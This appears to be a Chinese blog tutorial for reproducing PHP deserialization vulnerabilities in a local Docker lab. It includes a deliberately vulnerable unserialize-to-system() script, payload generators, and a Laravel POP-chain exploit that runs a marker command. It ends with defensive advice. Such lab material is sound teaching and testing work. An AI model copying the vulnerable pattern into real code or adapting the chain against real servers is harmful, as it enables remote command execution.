1. 创建漏洞测试文件
在本地新建目录,创建 index.php 文件:
<?php
class VulnerableClass {
public $name;
function __wakeup() {
// 反序列化时自动执行的危险操作
system($this->name);
}
}
// 从 GET 参数获取序列化数据
if (isset($_GET@['data'])) {
$data = base64_decode($_GET@['data']);
unserialize($data); // 触发反序列化漏洞
} else {
highlight_file(__FILE__);
}
?>
2. 创建 Dockerfile
在同一目录下创建 Dockerfile:
FROM php:7.4-apache
COPY index.php /var/www/html/
RUN chmod 755 /var/www/html/index.php
说明:PHP 7.4 是反序列化漏洞的高发版本(如 __wakeup 魔术方法漏洞)。
3. 构建并运行容器
# 构建镜像
docker build -t php-deserialization .
# 运行容器(映射端口 8080)
docker run -d -p 8080:80 --name vuln-container php-deserialization
4. 生成恶意序列化 Payload
创建 generate_payload.php:
<?php
class VulnerableClass {
public $name = "touch /tmp/hacked"; // 要执行的命令
}
echo base64_encode(serialize(new VulnerableClass()));
?>
生成 Payload:
php generate_payload.php
5. 触发漏洞
访问 URL(替换 [PAYLOAD] 为上一步生成的字符串):
http://localhost:8080/index.php?data=[PAYLOAD]
验证攻击是否成功:
# 进入容器检查命令执行结果
docker exec vuln-container ls /tmp
# 如果看到 "hacked" 文件,说明漏洞复现成功
常见漏洞场景说明

调试技巧
查看序列化结构:
$data = serialize(new VulnerableClass());
var_dump($data); // 输出:O:16:"VulnerableClass":1:{s:4:"name";s:17:"touch /tmp/hacked";}
安全建议:
禁止反序列化用户输入
使用 json_decode() 替代 unserialize()
更新 PHP 版本(部分漏洞在 PHP 8.0+ 修复)
复现更复杂的 POP 链
一、环境搭建:Laravel + 漏洞组件
1. 创建Dockerfile
FROM php:7.4-apache
# 安装Laravel依赖
RUN apt update && apt install -y zip unzip git \
&& docker-php-ext-install pdo_mysql \
&& php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \
&& php composer-setup.php --install-dir=/usr/local/bin --filename=composer \
&& rm composer-setup.php
# 部署Laravel 8.x(含已知反序列化漏洞的组件)
WORKDIR /var/www/html
RUN composer create-project --prefer-dist laravel/laravel laravel-app "8.*" \
&& chmod -R 777 laravel-app/storage lar-app/bootstrap/cache
# 启用Apache的Laravel配置
COPY 000-default.conf /etc/apache2/sites-available/
RUN a2enmod rewrite
2. 添加Apache配置 (000-default.conf)
<VirtualHost *:80>
DocumentRoot /var/www/html/laravel-app/public
<Directory /var/www/html/laravel-app/public>
AllowOverride All
Require all granted
</Directory>
</VirtualHost>
3. 构建并运行容器
docker build -t laravel-pop .
docker run -d -p 8080:80 --name laravel-vuln laravel-pop
二、构造POP链:利用Laravel的依赖注入与魔术方法
以Laravel 8的 PendingBroadcast 链为例(CVE-2021-3129 类似原理):
1. 漏洞代码示例(模拟漏洞点)
在 routes/web.php 添加反序列化入口:
Route::get('/unserialize', function (Illuminate\Http\Request $request) {
if ($request->has('data')) {
unserialize(base64_decode($request->input('data')));
}
return "POP Chain Test";
});
2. POP链构造脚本 (generate_payload.php)
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Events {
class Dispatcher {
protected $listeners = [];
public function __construct($listeners) {
$this->listeners = $listeners;
}
}
}
namespace {
$dispatcher = new Illuminate\Events\Dispatcher(["event" => [["callable" => "system"]]]);
$event = new Illuminate\Broadcasting\PendingBroadcast($dispatcher, "touch /tmp/pwned");
echo base64_encode(serialize($event));
}
?>
3. 生成Payload
php generate_payload.php
三、触发漏洞
访问URL(替换[PAYLOAD]):
http://localhost:8080/unserialize?data=[PAYLOAD]
验证攻击结果:
docker exec laravel-vuln ls /tmp
# 若存在 /tmp/pwned 文件,则POP链利用成功
四、关键技术与框架特性分析

五、防御建议
禁止反序列化用户输入
使用 json_decode() 替代 unserialize()。
使用白名单机制
仅允许反序列化预定义的类(通过 allowed_classes 参数):
unserialize($data, ['allowed_classes' => ['SafeClass']]);
更新框架与组件
及时修复已知漏洞(如Laravel需升级至≥8.40.0)。
静态代码分析
使用工具(如PHPStan)检测危险的反序列化操作。
六、扩展:其他框架的POP链特征
ThinkPHP
利用 __toString() 触发 toArray() 方法,进而调用可控对象的 __call()。
Symfony
通过 __destruct() 触发 ContainerAwareTrait 的 setContainer(),控制服务容器注入恶意对象。
Yii2
利用 __wakeup() 调用 Module::init(),通过事件监听器触发任意方法。
上一条:Docker+Nginx搭建小型CDN服务器
下一条:Cursor BrowserMCP入门